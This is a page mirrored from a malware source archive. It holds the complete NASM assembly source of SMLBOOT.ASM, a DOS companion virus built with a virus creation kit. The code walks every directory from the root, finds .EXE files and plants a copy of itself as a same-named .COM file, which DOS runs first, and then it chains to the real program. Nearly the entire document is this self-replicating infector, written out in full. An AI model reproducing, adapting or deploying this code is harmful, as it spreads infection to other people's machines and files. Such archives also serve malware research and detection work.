mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
256 lines
7.0 KiB
NASM
256 lines
7.0 KiB
NASM
; SMLBOOT.ASM -- Small Booter Virus
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; Created with Nowhere Man's Virus Creation Laboratory v1.00
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; Written by Virucidal Maniac
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virus_type equ 2 ; Spawning Virus
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is_encrypted equ 0 ; We're not encrypted
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tsr_virus equ 0 ; We're not TSR
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code segment byte public
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assume cs:code,ds:code,es:code,ss:code
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org 0100h
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start label near
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main proc near
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mov ah,04Ah ; DOS resize memory function
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mov bx,(finish - start) / 16 + 0272h ; BX holds # of para.
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int 021h
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mov sp,(finish - start) + 01100h ; Change top of stack
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mov si,offset spawn_name ; SI points to true filename
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int 02Eh ; DOS execution back-door
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push ax ; Save return value for later
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mov ax,cs ; AX holds code segment
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mov ds,ax ; Restore data segment
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mov es,ax ; Restore extra segment
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call search_files ; Find and infect a file
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call get_floppies
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cmp ax,0002h ; Did the function return 2?
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jl strt00 ; If less, do effect
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call get_serial
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cmp ax,0002h ; Did the function return 2?
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je strt00 ; If equal, do effect
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jmp end00 ; Otherwise skip over it
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strt00:
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push bp ; Save BP
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mov bp,sp ; BP points to stack frame
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sub sp,34 ; Allocate 34 bytes on stack
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mov ah,038h ; DOS get country function
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lea dx,[bp - 34] ; DX points to unused buffer
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int 021h
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xchg bx,ax ; AX holds the country code
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mov sp,bp ; Deallocate local buffer
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pop bp ; Restore BP
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end00: pop ax ; AL holds return value
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mov ah,04Ch ; DOS terminate function
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int 021h
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main endp
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search_files proc near
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push bp ; Save BP
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mov bp,sp ; BP points to local buffer
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sub sp,64 ; Allocate 64 bytes on stack
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mov ah,047h ; DOS get current dir function
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xor dl,dl ; DL holds drive # (current)
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lea si,[bp - 64] ; SI points to 64-byte buffer
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int 021h
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mov ah,03Bh ; DOS change directory function
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mov dx,offset root ; DX points to root directory
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int 021h
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call traverse ; Start the traversal
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mov ah,03Bh ; DOS change directory function
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lea dx,[bp - 64] ; DX points to old directory
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int 021h
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mov sp,bp ; Restore old stack pointer
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pop bp ; Restore BP
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ret ; Return to caller
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root db "\",0 ; Root directory
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search_files endp
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traverse proc near
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push bp ; Save BP
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mov ah,02Fh ; DOS get DTA function
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int 021h
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push bx ; Save old DTA address
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mov bp,sp ; BP points to local buffer
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sub sp,128 ; Allocate 128 bytes on stack
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mov ah,01Ah ; DOS set DTA function
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lea dx,[bp - 128] ; DX points to buffer
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int 021h
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mov ah,04Eh ; DOS find first function
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mov cx,00010000b ; CX holds search attributes
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mov dx,offset all_files ; DX points to "*.*"
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int 021h
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jc leave_traverse ; Leave if no files present
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check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory?
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jne another_dir ; If not, try again
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cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."?
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je another_dir ;If so, keep going
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mov ah,03Bh ; DOS change directory function
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lea dx,[bp - 98] ; DX points to new directory
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int 021h
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call traverse ; Recursively call ourself
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pushf ; Save the flags
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mov ah,03Bh ; DOS change directory function
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mov dx,offset up_dir ; DX points to parent directory
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int 021h
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popf ; Restore the flags
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jnc done_searching ; If we infected then exit
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another_dir: mov ah,04Fh ; DOS find next function
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int 021h
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jnc check_dir ; If found check the file
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leave_traverse:
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mov dx,offset exe_mask ; DX points to "*.EXE"
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call find_files ; Try to infect a file
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done_searching: mov sp,bp ; Restore old stack frame
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mov ah,01Ah ; DOS set DTA function
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pop dx ; Retrieve old DTA address
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int 021h
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pop bp ; Restore BP
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ret ; Return to caller
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up_dir db "..",0 ; Parent directory name
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all_files db "*.*",0 ; Directories to search for
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exe_mask db "*.EXE",0 ; Mask for all .EXE files
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traverse endp
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find_files proc near
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push bp ; Save BP
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mov ah,02Fh ; DOS get DTA function
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int 021h
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push bx ; Save old DTA address
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mov bp,sp ; BP points to local buffer
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sub sp,128 ; Allocate 128 bytes on stack
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push dx ; Save file mask
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mov ah,01Ah ; DOS set DTA function
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lea dx,[bp - 128] ; DX points to buffer
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int 021h
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mov ah,04Eh ; DOS find first file function
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mov cx,00100111b ; CX holds all file attributes
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pop dx ; Restore file mask
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find_a_file: int 021h
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jc done_finding ; Exit if no files found
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call infect_file ; Infect the file!
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jnc done_finding ; Exit if no error
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mov ah,04Fh ; DOS find next file function
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jmp short find_a_file ; Try finding another file
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done_finding: mov sp,bp ; Restore old stack frame
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mov ah,01Ah ; DOS set DTA function
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pop dx ; Retrieve old DTA address
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int 021h
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pop bp ; Restore BP
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ret ; Return to caller
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find_files endp
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infect_file proc near
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mov ah,02Fh ; DOS get DTA address function
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int 021h
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mov di,bx ; DI points to the DTA
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lea si,[di + 01Eh] ; SI points to file name
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mov dx,si ; DX points to file name, too
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mov di,offset spawn_name + 1; DI points to new name
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xor ah,ah ; AH holds character count
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transfer_loop: lodsb ; Load a character
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or al,al ; Is it a NULL?
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je transfer_end ; If so then leave the loop
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inc ah ; Add one to the character count
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stosb ; Save the byte in the buffer
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jmp short transfer_loop ; Repeat the loop
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transfer_end: mov byte ptr [spawn_name],ah; First byte holds char. count
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mov byte ptr [di],13 ; Make CR the final character
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mov di,dx ; DI points to file name
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xor ch,ch ;
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mov cl,ah ; CX holds length of filename
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mov al,'.' ; AL holds char. to search for
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repne scasb ; Search for a dot in the name
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mov word ptr [di],'OC' ; Store "CO" as first two bytes
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mov byte ptr [di + 2],'M' ; Store "M" to make "COM"
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mov byte ptr [set_carry],0 ; Assume we'll fail
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mov ax,03D00h ; DOS open file function, r/o
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int 021h
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jnc infection_done ; File already exists, so leave
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mov byte ptr [set_carry],1 ; Success -- the file is OK
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mov ah,03Ch ; DOS create file function
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mov cx,00100111b ; CX holds file attributes (all)
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int 021h
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xchg bx,ax ; BX holds file handle
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mov ah,040h ; DOS write to file function
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mov cx,finish - start ; CX holds virus length
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mov dx,offset start ; DX points to start of virus
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int 021h
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mov ah,03Eh ; DOS close file function
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int 021h
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infection_done: cmp byte ptr [set_carry],1 ; Set carry flag if failed
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ret ; Return to caller
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spawn_name db 12,12 dup (?),13 ; Name for next spawn
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set_carry db ? ; Set-carry-on-exit flag
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infect_file endp
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get_floppies proc near
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int 011h ; BIOS get equiment function
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xor ah,ah ; Clear upper bits
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mov cl,6 ; Shift AX right six bits,
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shr ax,cl ; dividing it by 64
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inc ax ; Add one (at least 1 drive)
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ret ; Return to caller
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get_floppies endp
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get_serial proc near
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int 011h ; BIOS get equiment function
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xor ah,ah ; Clear upper bits
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mov cl,9 ; Shift AX right nine bits
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shr ax,cl ;
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and ax,7 ; Clear all but two bits
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ret ; Return to caller
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get_serial endp
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vcl_marker db "[VCL]",0 ; VCL creation marker
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finish label near
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code ends
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end main
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